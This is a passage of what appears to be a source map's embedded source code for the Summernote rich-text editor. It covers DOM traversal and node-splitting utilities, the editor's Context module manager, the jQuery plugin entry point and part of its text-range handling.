nodeB; n; n = n.parentNode) {\n if (ancestors.indexOf(n) > -1) return n;\n }\n return null; // difference document area\n}\n\n/**\n * listing all previous siblings (until predicate hit).\n *\n * @param {Node} node\n * @param {Function} [optional] pred - predicate function\n */\nfunction listPrev(node, pred) {\n pred = pred || func.fail;\n\n const nodes = [];\n while (node) {\n if (pred(node)) { break; }\n nodes.push(node);\n node = node.previousSibling;\n }\n return nodes;\n}\n\n/**\n * listing next siblings (until predicate hit).\n *\n * @param {Node} node\n * @param {Function} [pred] - predicate function\n */\nfunction listNext(node, pred) {\n pred = pred || func.fail;\n\n const nodes = [];\n while (node) {\n if (pred(node)) { break; }\n nodes.push(node);\n node = node.nextSibling;\n }\n return nodes;\n}\n\n/**\n * listing descendant nodes\n *\n * @param {Node} node\n * @param {Function} [pred] - predicate function\n */\nfunction listDescendant(node, pred) {\n const descendants = [];\n pred = pred || func.ok;\n\n // start DFS(depth first search) with node\n (function fnWalk(current) {\n if (node !== current && pred(current)) {\n descendants.push(current);\n }\n for (let idx = 0, len = current.childNodes.length; idx < len; idx++) {\n fnWalk(current.childNodes[idx]);\n }\n })(node);\n\n return descendants;\n}\n\n/**\n * wrap node with new tag.\n *\n * @param {Node} node\n * @param {Node} tagName of wrapper\n * @return {Node} - wrapper\n */\nfunction wrap(node, wrapperName) {\n const parent = node.parentNode;\n const wrapper = $('<' + wrapperName + '>')[0];\n\n parent.insertBefore(wrapper, node);\n wrapper.appendChild(node);\n\n return wrapper;\n}\n\n/**\n * insert node after preceding\n *\n * @param {Node} node\n * @param {Node} preceding - predicate function\n */\nfunction insertAfter(node, preceding) {\n const next = preceding.nextSibling;\n let parent = preceding.parentNode;\n if (next) {\n parent.insertBefore(node, next);\n } else {\n parent.appendChild(node);\n }\n return node;\n}\n\n/**\n * append elements.\n *\n * @param {Node} node\n * @param {Collection} aChild\n */\nfunction appendChildNodes(node, aChild) {\n $.each(aChild, function(idx, child) {\n node.appendChild(child);\n });\n return node;\n}\n\n/**\n * returns whether boundaryPoint is left edge or not.\n *\n * @param {BoundaryPoint} point\n * @return {Boolean}\n */\nfunction isLeftEdgePoint(point) {\n return point.offset === 0;\n}\n\n/**\n * returns whether boundaryPoint is right edge or not.\n *\n * @param {BoundaryPoint} point\n * @return {Boolean}\n */\nfunction isRightEdgePoint(point) {\n return point.offset === nodeLength(point.node);\n}\n\n/**\n * returns whether boundaryPoint is edge or not.\n *\n * @param {BoundaryPoint} point\n * @return {Boolean}\n */\nfunction isEdgePoint(point) {\n return isLeftEdgePoint(point) || isRightEdgePoint(point);\n}\n\n/**\n * returns whether node is left edge of ancestor or not.\n *\n * @param {Node} node\n * @param {Node} ancestor\n * @return {Boolean}\n */\nfunction isLeftEdgeOf(node, ancestor) {\n while (node && node !== ancestor) {\n if (position(node) !== 0) {\n return false;\n }\n node = node.parentNode;\n }\n\n return true;\n}\n\n/**\n * returns whether node is right edge of ancestor or not.\n *\n * @param {Node} node\n * @param {Node} ancestor\n * @return {Boolean}\n */\nfunction isRightEdgeOf(node, ancestor) {\n if (!ancestor) {\n return false;\n }\n while (node && node !== ancestor) {\n if (position(node) !== nodeLength(node.parentNode) - 1) {\n return false;\n }\n node = node.parentNode;\n }\n\n return true;\n}\n\n/**\n * returns whether point is left edge of ancestor or not.\n * @param {BoundaryPoint} point\n * @param {Node} ancestor\n * @return {Boolean}\n */\nfunction isLeftEdgePointOf(point, ancestor) {\n return isLeftEdgePoint(point) && isLeftEdgeOf(point.node, ancestor);\n}\n\n/**\n * returns whether point is right edge of ancestor or not.\n * @param {BoundaryPoint} point\n * @param {Node} ancestor\n * @return {Boolean}\n */\nfunction isRightEdgePointOf(point, ancestor) {\n return isRightEdgePoint(point) && isRightEdgeOf(point.node, ancestor);\n}\n\n/**\n * returns offset from parent.\n *\n * @param {Node} node\n */\nfunction position(node) {\n let offset = 0;\n while ((node = node.previousSibling)) {\n offset += 1;\n }\n return offset;\n}\n\nfunction hasChildren(node) {\n return !!(node && node.childNodes && node.childNodes.length);\n}\n\n/**\n * returns previous boundaryPoint\n *\n * @param {BoundaryPoint} point\n * @param {Boolean} isSkipInnerOffset\n * @return {BoundaryPoint}\n */\nfunction prevPoint(point, isSkipInnerOffset) {\n let node;\n let offset;\n\n if (point.offset === 0) {\n if (isEditable(point.node)) {\n return null;\n }\n\n node = point.node.parentNode;\n offset = position(point.node);\n } else if (hasChildren(point.node)) {\n node = point.node.childNodes[point.offset - 1];\n offset = nodeLength(node);\n } else {\n node = point.node;\n offset = isSkipInnerOffset ? 0 : point.offset - 1;\n }\n\n return {\n node: node,\n offset: offset,\n };\n}\n\n/**\n * returns next boundaryPoint\n *\n * @param {BoundaryPoint} point\n * @param {Boolean} isSkipInnerOffset\n * @return {BoundaryPoint}\n */\nfunction nextPoint(point, isSkipInnerOffset) {\n let node, offset;\n\n if (isEmpty(point.node)) {\n return null;\n }\n\n if (nodeLength(point.node) === point.offset) {\n if (isEditable(point.node)) {\n return null;\n }\n\n node = point.node.parentNode;\n offset = position(point.node) + 1;\n } else if (hasChildren(point.node)) {\n node = point.node.childNodes[point.offset];\n offset = 0;\n if (isEmpty(node)) {\n return null;\n }\n } else {\n node = point.node;\n offset = isSkipInnerOffset ? nodeLength(point.node) : point.offset + 1;\n\n if (isEmpty(node)) {\n return null;\n }\n }\n\n return {\n node: node,\n offset: offset,\n };\n}\n\n/**\n * returns whether pointA and pointB is same or not.\n *\n * @param {BoundaryPoint} pointA\n * @param {BoundaryPoint} pointB\n * @return {Boolean}\n */\nfunction isSamePoint(pointA, pointB) {\n return pointA.node === pointB.node && pointA.offset === pointB.offset;\n}\n\n/**\n * returns whether point is visible (can set cursor) or not.\n *\n * @param {BoundaryPoint} point\n * @return {Boolean}\n */\nfunction isVisiblePoint(point) {\n if (isText(point.node) || !hasChildren(point.node) || isEmpty(point.node)) {\n return true;\n }\n\n const leftNode = point.node.childNodes[point.offset - 1];\n const rightNode = point.node.childNodes[point.offset];\n if ((!leftNode || isVoid(leftNode)) && (!rightNode || isVoid(rightNode))) {\n return true;\n }\n\n return false;\n}\n\n/**\n * @method prevPointUtil\n *\n * @param {BoundaryPoint} point\n * @param {Function} pred\n * @return {BoundaryPoint}\n */\nfunction prevPointUntil(point, pred) {\n while (point) {\n if (pred(point)) {\n return point;\n }\n\n point = prevPoint(point);\n }\n\n return null;\n}\n\n/**\n * @method nextPointUntil\n *\n * @param {BoundaryPoint} point\n * @param {Function} pred\n * @return {BoundaryPoint}\n */\nfunction nextPointUntil(point, pred) {\n while (point) {\n if (pred(point)) {\n return point;\n }\n\n point = nextPoint(point);\n }\n\n return null;\n}\n\n/**\n * returns whether point has character or not.\n *\n * @param {Point} point\n * @return {Boolean}\n */\nfunction isCharPoint(point) {\n if (!isText(point.node)) {\n return false;\n }\n\n const ch = point.node.nodeValue.charAt(point.offset - 1);\n return ch && (ch !== ' ' && ch !== NBSP_CHAR);\n}\n\n/**\n * returns whether point has space or not.\n *\n * @param {Point} point\n * @return {Boolean}\n */\nfunction isSpacePoint(point) {\n if (!isText(point.node)) {\n return false;\n }\n\n const ch = point.node.nodeValue.charAt(point.offset - 1);\n return ch === ' ' || ch === NBSP_CHAR;\n}\n\n/**\n * @method walkPoint\n *\n * @param {BoundaryPoint} startPoint\n * @param {BoundaryPoint} endPoint\n * @param {Function} handler\n * @param {Boolean} isSkipInnerOffset\n */\nfunction walkPoint(startPoint, endPoint, handler, isSkipInnerOffset) {\n let point = startPoint;\n\n while (point) {\n handler(point);\n\n if (isSamePoint(point, endPoint)) {\n break;\n }\n\n const isSkipOffset = isSkipInnerOffset &&\n startPoint.node !== point.node &&\n endPoint.node !== point.node;\n point = nextPoint(point, isSkipOffset);\n }\n}\n\n/**\n * @method makeOffsetPath\n *\n * return offsetPath(array of offset) from ancestor\n *\n * @param {Node} ancestor - ancestor node\n * @param {Node} node\n */\nfunction makeOffsetPath(ancestor, node) {\n const ancestors = listAncestor(node, func.eq(ancestor));\n return ancestors.map(position).reverse();\n}\n\n/**\n * @method fromOffsetPath\n *\n * return element from offsetPath(array of offset)\n *\n * @param {Node} ancestor - ancestor node\n * @param {array} offsets - offsetPath\n */\nfunction fromOffsetPath(ancestor, offsets) {\n let current = ancestor;\n for (let i = 0, len = offsets.length; i < len; i++) {\n if (current.childNodes.length <= offsets[i]) {\n current = current.childNodes[current.childNodes.length - 1];\n } else {\n current = current.childNodes[offsets[i]];\n }\n }\n return current;\n}\n\n/**\n * @method splitNode\n *\n * split element or #text\n *\n * @param {BoundaryPoint} point\n * @param {Object} [options]\n * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false\n * @param {Boolean} [options.isNotSplitEdgePoint] - default: false\n * @param {Boolean} [options.isDiscardEmptySplits] - default: false\n * @return {Node} right node of boundaryPoint\n */\nfunction splitNode(point, options) {\n let isSkipPaddingBlankHTML = options && options.isSkipPaddingBlankHTML;\n const isNotSplitEdgePoint = options && options.isNotSplitEdgePoint;\n const isDiscardEmptySplits = options && options.isDiscardEmptySplits;\n\n if (isDiscardEmptySplits) {\n isSkipPaddingBlankHTML = true;\n }\n\n // edge case\n if (isEdgePoint(point) && (isText(point.node) || isNotSplitEdgePoint)) {\n if (isLeftEdgePoint(point)) {\n return point.node;\n } else if (isRightEdgePoint(point)) {\n return point.node.nextSibling;\n }\n }\n\n // split #text\n if (isText(point.node)) {\n return point.node.splitText(point.offset);\n } else {\n const childNode = point.node.childNodes[point.offset];\n const clone = insertAfter(point.node.cloneNode(false), point.node);\n appendChildNodes(clone, listNext(childNode));\n\n if (!isSkipPaddingBlankHTML) {\n paddingBlankHTML(point.node);\n paddingBlankHTML(clone);\n }\n\n if (isDiscardEmptySplits) {\n if (isEmpty(point.node)) {\n remove(point.node);\n }\n if (isEmpty(clone)) {\n remove(clone);\n return point.node.nextSibling;\n }\n }\n\n return clone;\n }\n}\n\n/**\n * @method splitTree\n *\n * split tree by point\n *\n * @param {Node} root - split root\n * @param {BoundaryPoint} point\n * @param {Object} [options]\n * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false\n * @param {Boolean} [options.isNotSplitEdgePoint] - default: false\n * @return {Node} right node of boundaryPoint\n */\nfunction splitTree(root, point, options) {\n // ex) [#text, ,

    ]\n const ancestors = listAncestor(point.node, func.eq(root));\n\n if (!ancestors.length) {\n return null;\n } else if (ancestors.length === 1) {\n return splitNode(point, options);\n }\n\n return ancestors.reduce(function(node, parent) {\n if (node === point.node) {\n node = splitNode(point, options);\n }\n\n return splitNode({\n node: parent,\n offset: node ? position(node) : nodeLength(parent),\n }, options);\n });\n}\n\n/**\n * split point\n *\n * @param {Point} point\n * @param {Boolean} isInline\n * @return {Object}\n */\nfunction splitPoint(point, isInline) {\n // find splitRoot, container\n // - inline: splitRoot is a child of paragraph\n // - block: splitRoot is a child of bodyContainer\n const pred = isInline ? isPara : isBodyContainer;\n const ancestors = listAncestor(point.node, pred);\n const topAncestor = lists.last(ancestors) || point.node;\n\n let splitRoot, container;\n if (pred(topAncestor)) {\n splitRoot = ancestors[ancestors.length - 2];\n container = topAncestor;\n } else {\n splitRoot = topAncestor;\n container = splitRoot.parentNode;\n }\n\n // if splitRoot is exists, split with splitTree\n let pivot = splitRoot && splitTree(splitRoot, point, {\n isSkipPaddingBlankHTML: isInline,\n isNotSplitEdgePoint: isInline,\n });\n\n // if container is point.node, find pivot with point.offset\n if (!pivot && container === point.node) {\n pivot = point.node.childNodes[point.offset];\n }\n\n return {\n rightNode: pivot,\n container: container,\n };\n}\n\nfunction create(nodeName) {\n return document.createElement(nodeName);\n}\n\nfunction createText(text) {\n return document.createTextNode(text);\n}\n\n/**\n * @method remove\n *\n * remove node, (isRemoveChild: remove child or not)\n *\n * @param {Node} node\n * @param {Boolean} isRemoveChild\n */\nfunction remove(node, isRemoveChild) {\n if (!node || !node.parentNode) { return; }\n if (node.removeNode) { return node.removeNode(isRemoveChild); }\n\n const parent = node.parentNode;\n if (!isRemoveChild) {\n const nodes = [];\n for (let i = 0, len = node.childNodes.length; i < len; i++) {\n nodes.push(node.childNodes[i]);\n }\n\n for (let i = 0, len = nodes.length; i < len; i++) {\n parent.insertBefore(nodes[i], node);\n }\n }\n\n parent.removeChild(node);\n}\n\n/**\n * @method removeWhile\n *\n * @param {Node} node\n * @param {Function} pred\n */\nfunction removeWhile(node, pred) {\n while (node) {\n if (isEditable(node) || !pred(node)) {\n break;\n }\n\n const parent = node.parentNode;\n remove(node);\n node = parent;\n }\n}\n\n/**\n * @method replace\n *\n * replace node with provided nodeName\n *\n * @param {Node} node\n * @param {String} nodeName\n * @return {Node} - new node\n */\nfunction replace(node, nodeName) {\n if (node.nodeName.toUpperCase() === nodeName.toUpperCase()) {\n return node;\n }\n\n const newNode = create(nodeName);\n\n if (node.style.cssText) {\n newNode.style.cssText = node.style.cssText;\n }\n\n appendChildNodes(newNode, lists.from(node.childNodes));\n insertAfter(newNode, node);\n remove(node);\n\n return newNode;\n}\n\nconst isTextarea = makePredByNodeName('TEXTAREA');\n\n/**\n * @param {jQuery} $node\n * @param {Boolean} [stripLinebreaks] - default: false\n */\nfunction value($node, stripLinebreaks) {\n const val = isTextarea($node[0]) ? $node.val() : $node.html();\n if (stripLinebreaks) {\n return val.replace(/[\\n\\r]/g, '');\n }\n return val;\n}\n\n/**\n * @method html\n *\n * get the HTML contents of node\n *\n * @param {jQuery} $node\n * @param {Boolean} [isNewlineOnBlock]\n */\nfunction html($node, isNewlineOnBlock) {\n let markup = value($node);\n\n if (isNewlineOnBlock) {\n const regexTag = /<(\\/?)(\\b(?!!)[^>\\s]*)(.*?)(\\s*\\/?>)/g;\n markup = markup.replace(regexTag, function(match, endSlash, name) {\n name = name.toUpperCase();\n const isEndOfInlineContainer = /^DIV|^TD|^TH|^P|^LI|^H[1-7]/.test(name) &&\n !!endSlash;\n const isBlockNode = /^BLOCKQUOTE|^TABLE|^TBODY|^TR|^HR|^UL|^OL/.test(name);\n\n return match + ((isEndOfInlineContainer || isBlockNode) ? '\\n' : '');\n });\n markup = markup.trim();\n }\n\n return markup;\n}\n\nfunction posFromPlaceholder(placeholder) {\n const $placeholder = $(placeholder);\n const pos = $placeholder.offset();\n const height = $placeholder.outerHeight(true); // include margin\n\n return {\n left: pos.left,\n top: pos.top + height,\n };\n}\n\nfunction attachEvents($node, events) {\n Object.keys(events).forEach(function(key) {\n $node.on(key, events[key]);\n });\n}\n\nfunction detachEvents($node, events) {\n Object.keys(events).forEach(function(key) {\n $node.off(key, events[key]);\n });\n}\n\n/**\n * @method isCustomStyleTag\n *\n * assert if a node contains a \"note-styletag\" class,\n * which implies that's a custom-made style tag node\n *\n * @param {Node} an HTML DOM node\n */\nfunction isCustomStyleTag(node) {\n return node && !isText(node) && lists.contains(node.classList, 'note-styletag');\n}\n\nexport default {\n /** @property {String} NBSP_CHAR */\n NBSP_CHAR,\n /** @property {String} ZERO_WIDTH_NBSP_CHAR */\n ZERO_WIDTH_NBSP_CHAR,\n /** @property {String} blank */\n blank: blankHTML,\n /** @property {String} emptyPara */\n emptyPara: `

    ${blankHTML}

    `,\n makePredByNodeName,\n isEditable,\n isControlSizing,\n isText,\n isElement,\n isVoid,\n isPara,\n isPurePara,\n isHeading,\n isInline,\n isBlock: func.not(isInline),\n isBodyInline,\n isBody,\n isParaInline,\n isPre,\n isList,\n isTable,\n isData,\n isCell,\n isBlockquote,\n isBodyContainer,\n isAnchor,\n isDiv: makePredByNodeName('DIV'),\n isLi,\n isBR: makePredByNodeName('BR'),\n isSpan: makePredByNodeName('SPAN'),\n isB: makePredByNodeName('B'),\n isU: makePredByNodeName('U'),\n isS: makePredByNodeName('S'),\n isI: makePredByNodeName('I'),\n isImg: makePredByNodeName('IMG'),\n isTextarea,\n deepestChildIsEmpty,\n isEmpty,\n isEmptyAnchor: func.and(isAnchor, isEmpty),\n isClosestSibling,\n withClosestSiblings,\n nodeLength,\n isLeftEdgePoint,\n isRightEdgePoint,\n isEdgePoint,\n isLeftEdgeOf,\n isRightEdgeOf,\n isLeftEdgePointOf,\n isRightEdgePointOf,\n prevPoint,\n nextPoint,\n isSamePoint,\n isVisiblePoint,\n prevPointUntil,\n nextPointUntil,\n isCharPoint,\n isSpacePoint,\n walkPoint,\n ancestor,\n singleChildAncestor,\n listAncestor,\n lastAncestor,\n listNext,\n listPrev,\n listDescendant,\n commonAncestor,\n wrap,\n insertAfter,\n appendChildNodes,\n position,\n hasChildren,\n makeOffsetPath,\n fromOffsetPath,\n splitTree,\n splitPoint,\n create,\n createText,\n remove,\n removeWhile,\n replace,\n html,\n value,\n posFromPlaceholder,\n attachEvents,\n detachEvents,\n isCustomStyleTag,\n};\n","import $ from 'jquery';\nimport func from './core/func';\nimport lists from './core/lists';\nimport dom from './core/dom';\n\nexport default class Context {\n /**\n * @param {jQuery} $note\n * @param {Object} options\n */\n constructor($note, options) {\n this.$note = $note;\n\n this.memos = {};\n this.modules = {};\n this.layoutInfo = {};\n this.options = $.extend(true, {}, options);\n\n // init ui with options\n $.summernote.ui = $.summernote.ui_template(this.options);\n this.ui = $.summernote.ui;\n\n this.initialize();\n }\n\n /**\n * create layout and initialize modules and other resources\n */\n initialize() {\n this.layoutInfo = this.ui.createLayout(this.$note);\n this._initialize();\n this.$note.hide();\n return this;\n }\n\n /**\n * destroy modules and other resources and remove layout\n */\n destroy() {\n this._destroy();\n this.$note.removeData('summernote');\n this.ui.removeLayout(this.$note, this.layoutInfo);\n }\n\n /**\n * destory modules and other resources and initialize it again\n */\n reset() {\n const disabled = this.isDisabled();\n this.code(dom.emptyPara);\n this._destroy();\n this._initialize();\n\n if (disabled) {\n this.disable();\n }\n }\n\n _initialize() {\n // set own id\n this.options.id = func.uniqueId($.now());\n // set default container for tooltips, popovers, and dialogs\n this.options.container = this.options.container || this.layoutInfo.editor;\n\n // add optional buttons\n const buttons = $.extend({}, this.options.buttons);\n Object.keys(buttons).forEach((key) => {\n this.memo('button.' + key, buttons[key]);\n });\n\n const modules = $.extend({}, this.options.modules, $.summernote.plugins || {});\n\n // add and initialize modules\n Object.keys(modules).forEach((key) => {\n this.module(key, modules[key], true);\n });\n\n Object.keys(this.modules).forEach((key) => {\n this.initializeModule(key);\n });\n }\n\n _destroy() {\n // destroy modules with reversed order\n Object.keys(this.modules).reverse().forEach((key) => {\n this.removeModule(key);\n });\n\n Object.keys(this.memos).forEach((key) => {\n this.removeMemo(key);\n });\n // trigger custom onDestroy callback\n this.triggerEvent('destroy', this);\n }\n\n code(html) {\n const isActivated = this.invoke('codeview.isActivated');\n\n if (html === undefined) {\n this.invoke('codeview.sync');\n return isActivated ? this.layoutInfo.codable.val() : this.layoutInfo.editable.html();\n } else {\n if (isActivated) {\n this.layoutInfo.codable.val(html);\n } else {\n this.layoutInfo.editable.html(html);\n }\n this.$note.val(html);\n this.triggerEvent('change', html, this.layoutInfo.editable);\n }\n }\n\n isDisabled() {\n return this.layoutInfo.editable.attr('contenteditable') === 'false';\n }\n\n enable() {\n this.layoutInfo.editable.attr('contenteditable', true);\n this.invoke('toolbar.activate', true);\n this.triggerEvent('disable', false);\n this.options.editing = true;\n }\n\n disable() {\n // close codeview if codeview is opend\n if (this.invoke('codeview.isActivated')) {\n this.invoke('codeview.deactivate');\n }\n this.layoutInfo.editable.attr('contenteditable', false);\n this.options.editing = false;\n this.invoke('toolbar.deactivate', true);\n\n this.triggerEvent('disable', true);\n }\n\n triggerEvent() {\n const namespace = lists.head(arguments);\n const args = lists.tail(lists.from(arguments));\n\n const callback = this.options.callbacks[func.namespaceToCamel(namespace, 'on')];\n if (callback) {\n callback.apply(this.$note[0], args);\n }\n this.$note.trigger('summernote.' + namespace, args);\n }\n\n initializeModule(key) {\n const module = this.modules[key];\n module.shouldInitialize = module.shouldInitialize || func.ok;\n if (!module.shouldInitialize()) {\n return;\n }\n\n // initialize module\n if (module.initialize) {\n module.initialize();\n }\n\n // attach events\n if (module.events) {\n dom.attachEvents(this.$note, module.events);\n }\n }\n\n module(key, ModuleClass, withoutIntialize) {\n if (arguments.length === 1) {\n return this.modules[key];\n }\n\n this.modules[key] = new ModuleClass(this);\n\n if (!withoutIntialize) {\n this.initializeModule(key);\n }\n }\n\n removeModule(key) {\n const module = this.modules[key];\n if (module.shouldInitialize()) {\n if (module.events) {\n dom.detachEvents(this.$note, module.events);\n }\n\n if (module.destroy) {\n module.destroy();\n }\n }\n\n delete this.modules[key];\n }\n\n memo(key, obj) {\n if (arguments.length === 1) {\n return this.memos[key];\n }\n this.memos[key] = obj;\n }\n\n removeMemo(key) {\n if (this.memos[key] && this.memos[key].destroy) {\n this.memos[key].destroy();\n }\n\n delete this.memos[key];\n }\n\n /**\n * Some buttons need to change their visual style immediately once they get pressed\n */\n createInvokeHandlerAndUpdateState(namespace, value) {\n return (event) => {\n this.createInvokeHandler(namespace, value)(event);\n this.invoke('buttons.updateCurrentStyle');\n };\n }\n\n createInvokeHandler(namespace, value) {\n return (event) => {\n event.preventDefault();\n const $target = $(event.target);\n this.invoke(namespace, value || $target.closest('[data-value]').data('value'), $target);\n };\n }\n\n invoke() {\n const namespace = lists.head(arguments);\n const args = lists.tail(lists.from(arguments));\n\n const splits = namespace.split('.');\n const hasSeparator = splits.length > 1;\n const moduleName = hasSeparator && lists.head(splits);\n const methodName = hasSeparator ? lists.last(splits) : lists.head(splits);\n\n const module = this.modules[moduleName || 'editor'];\n if (!moduleName && this[methodName]) {\n return this[methodName].apply(this, args);\n } else if (module && module[methodName] && module.shouldInitialize()) {\n return module[methodName].apply(module, args);\n }\n }\n}\n","import $ from 'jquery';\nimport env from './base/core/env';\nimport lists from './base/core/lists';\nimport Context from './base/Context';\n\n$.fn.extend({\n /**\n * Summernote API\n *\n * @param {Object|String}\n * @return {this}\n */\n summernote: function() {\n const type = $.type(lists.head(arguments));\n const isExternalAPICalled = type === 'string';\n const hasInitOptions = type === 'object';\n\n const options = $.extend({}, $.summernote.options, hasInitOptions ? lists.head(arguments) : {});\n\n // Update options\n options.langInfo = $.extend(true, {}, $.summernote.lang['en-US'], $.summernote.lang[options.lang]);\n options.icons = $.extend(true, {}, $.summernote.options.icons, options.icons);\n options.tooltip = options.tooltip === 'auto' ? !env.isSupportTouch : options.tooltip;\n\n this.each((idx, note) => {\n const $note = $(note);\n if (!$note.data('summernote')) {\n const context = new Context($note, options);\n $note.data('summernote', context);\n $note.data('summernote').triggerEvent('init', context.layoutInfo);\n }\n });\n\n const $note = this.first();\n if ($note.length) {\n const context = $note.data('summernote');\n if (isExternalAPICalled) {\n return context.invoke.apply(context, lists.from(arguments));\n } else if (options.focus) {\n context.invoke('editor.focus');\n }\n }\n\n return this;\n },\n});\n","import $ from 'jquery';\nimport env from './env';\nimport func from './func';\nimport lists from './lists';\nimport dom from './dom';\n\n/**\n * return boundaryPoint from TextRange, inspired by Andy Na's HuskyRange.js\n *\n * @param {TextRange} textRange\n * @param {Boolean} isStart\n * @return {BoundaryPoint}\n *\n * @see http://msdn.microsoft.com/en-us/library/ie/ms535872(v=vs.85).aspx\n */\nfunction textRangeToPoint(textRange, isStart) {\n let container = textRange.parentElement();\n let offset;\n\n const tester = document.body.createTextRange();\n let prevContainer;\n const childNodes = lists.from(container.childNodes);\n for (offset = 0; offset < childNodes.length; offset++) {\n if (dom.isText(childNodes[offset])) {\n continue;\n }\n tester.moveToElementText(childNodes[offset]);\n if (tester.compareEndPoints('StartToStart', textRange) >= 0) {\n break;\n }\n prevContainer = childNodes[offset];\n }\n\n if (offset !== 0 && dom.isText(childNodes[offset - 1])) {\n const textRangeStart = document.body.createTextRange();\n let curTextNode = null;\n textRangeStart.moveToElementText(prevContainer || container);\n textRangeStart.collapse(!prevContainer);\n curTextNode = prevContainer ? prevContainer.nextSibling : container.firstChild;\n\n const pointTester = textRange.duplicate();\n pointTester.setEndPoint('StartToStart', textRangeStart);\n let textCount = pointTester.text.replace(/[\\r\\n]/g, '').length;\n\n while (textCount > curTextNode.nodeValue.length && curTextNode.nextSibling) {\n textCount -= curTextNode.nodeValue.length;\n curTextNode = curTextNode.nextSibling;\n }\n\n // [workaround] enforce IE to re-reference curTextNode, hack\n const dummy = curTextNode.nodeValue; // eslint-disable-line\n\n if (isStart && curTextNode.nextSibling && dom.isText(curTextNode.nextSibling) &&\n textCount === curTextNode.nodeValue.length) {\n textCount -= curTextNode.nodeValue.length;\n curTextNode = curTextNode.nextSibling;\n }\n\n container = curTextNode;\n offset = textCount;\n }\n\n return {\n cont: container,\n offset: offset,\n };\n}\n\n/**\n * return TextRange from boundary point (inspired by google closure-library)\n * @param {BoundaryPoint} point\n * @return {TextRange}\n */\nfunction pointToTextRange(point) {\n const textRangeInfo = function(container, offset) {\n let node, isCollapseToStart;\n\n if (dom.isText(container)) {\n const prevTextNodes = dom.listPrev(container, func.not(dom.isText));\n const prevContainer = lists.last(prevTextNodes).previousSibling;\n node = prevContainer || container.parentNode;\n offset += lists.sum(lists.tail(prevTextNodes), dom.nodeLength);\n isCollapseToStart = !prevContainer;\n } else {\n node = container.childNodes[offset] || container;\n if (dom.isText(node)) {\n return textRangeInfo(node, 0);\n }\n\n offset = 0;\n isCollapseToStart = false;\n }\n\n return {\n node: node,\n collapseToStart: isCollapseToStart,\n offset: offset,\n };\n };\n\n const textRange = document.body.createTextRange();\n const info = textRangeInfo(point.node, point.offset);\n\n textRange.moveToElementText(info.node);\n textRange.collapse(info.collapseToStart);\n textRange.moveStart('character', info.offset);\n return textRange;\n}\n\n/**\n * Wrapped Range\n *\n * @constructor\n * @param {Node} sc - start container\n * @param {Number} so - start offset\n * @param {Node} ec - end container\n * @param {Number} eo - end offset\n */\nclass WrappedRange {\n constructor(sc, so, ec, eo) {\n this.sc = sc;\n this.so = so;\n this.ec = ec;\n this.eo = eo;\n\n // isOnEditable: judge whether range is on editable or not\n this.isOnEditable = this.makeIsOn(dom.isEditable);\n // isOnList: judge whether range is on list node or not\n this.isOnList = this.makeIsOn(dom.isList);\n // isOnAnchor: judge whether range is on anchor node or not\n this.isOnAnchor = this.makeIsOn(dom.isAnchor);\n // isOnCell: judge whether range is on cell node or not\n this.isOnCell = this.makeIsOn(dom.isCell);\n // isOnData: judge whether range is on data node or not\n this.isOnData = this.makeIsOn(dom.isData);\n }\n\n // nativeRange: get nativeRange from sc, so, ec, eo\n nativeRange() {\n if (env.isW3CRangeSupport) {\n const w3cRange = document.createRange();\n w3cRange.setStart(this.sc, this.sc.data && this.so > this.sc.data.length ? 0 : this.so);\n w3cRange.setEnd(this.ec, this.sc.data ? Math.min(this.eo, this.sc.data.length) : this.eo);\n\n return w3cRange;\n } else {\n const textRange = pointToTextRange({\n node: this.sc,\n offset: this.so,\n });\n\n textRange.setEndPoint('EndToEnd', pointToTextRange({\n node: this.ec,\n offset: this.eo,\n }));\n\n return textRange;\n }\n }\n\n getPoints() {\n return {\n sc: this.sc,\n so: this.so,\n ec: this.ec,\n eo: this.eo,\n };\n }\n\n getStartPoint() {\n return {\n node: this.sc,\n offset: this.so,\n };\n }\n\n getEndPoint() {\n return {\n node: this.ec,\n offset: this.eo,\n };\n }\n\n /**\n * select update visible range\n */\n select() {\n const nativeRng = this.nativeRange();\n if (env.isW3CRangeSupport) {\n const selection = document.getSelection();\n if (selection.rangeCount > 0) {\n selection.removeAllRanges();\n }\n selection.addRange(nativeRng);\n } else {\n nativeRng.select();\n }\n\n return this;\n }\n\n /**\n * Moves the scrollbar to start container(sc) of current range\n *\n * @return {WrappedRange}\n */\n scrollIntoView(container) {\n const height = $(container).height();\n if (container.scrollTop + height < this.sc.offsetTop) {\n container.scrollTop += Math.abs(container.scrollTop + height - this.sc.offsetTop);\n }\n\n return this;\n }\n\n /**\n * @return {WrappedRange}\n */\n normalize() {\n /**\n * @param {BoundaryPoint} point\n * @param {Boolean} isLeftToRight - true: prefer to choose right node\n * - false: prefer to choose left node\n * @return {BoundaryPoint}\n */\n const getVisiblePoint = function(point, isLeftToRight) {\n if (!point) {\n return point;\n }\n\n // Just use the given point [XXX:Adhoc]\n // - case 01. if the point is on the middle of the node\n // - case 02. if the point is on the right edge and prefer to choose left node\n // - case 03. if the point is on the left edge and prefer to choose right node\n // - case 04. if the point is on the right edge and prefer to choose right node but the node is void\n // - case 05. if the point is on the left edge and prefer to choose left node but the node is void\n // - case 06. if the point is on the block node and there is no children\n if (dom.isVisiblePoint(point)) {\n if (!dom.isEdgePoint(point) ||\n (dom.isRightEdgePoint(point) && !isLeftToRight) ||\n (dom.isLeftEdgePoint(point) && isLeftToRight) ||\n (dom.isRightEdgePoint(point) && isLeftToRight && dom.isVoid(point.node.nextSibling)) ||\n (dom.isLeftEdgePoint(point) && !isLeftToRight && dom.isVoid(point.node.previousSibling)) ||\n (dom.isBlock(point.node) && dom.isEmpty(point.node))) {\n return point;\n }\n }\n\n // point on block's edge\n const block = dom.ancestor(point.node, dom.isBlock);\n let hasRightNode = false;\n\n if (!hasRightNode) {\n const prevPoint = dom.prevPoint(point) || { node: null };\n hasRightNode = (dom.isLeftEdgePointOf(point, block) || dom.isVoid(prevPoint.node)) && !isLeftToRight;\n }\n\n let hasLeftNode = false;\n if (!hasLeftNode) {\n const nextPoint = dom.nextPoint(point) || { node: null };\n hasLeftNode = (dom.isRightEdgePointOf(point, block) || dom.isVoid(nextPoint.node)) && isLeftToRight;\n }\n\n if (hasRightNode || hasLeftNode) {\n // returns point already on visible point\n if (dom.isVisiblePoint(point)) {\n return point;\n }\n // reverse direction\n isLeftToRight = !isLeftToRight;\n }\n\n const nextPoint = isLeftToRight ? dom.nextPointUntil(dom.nextPoint(point), dom.isVisiblePoint)\n : dom.prevPointUntil(dom.prevPoint(point), dom.isVisiblePoint);\n return nextPoint || point;\n };\n\n const 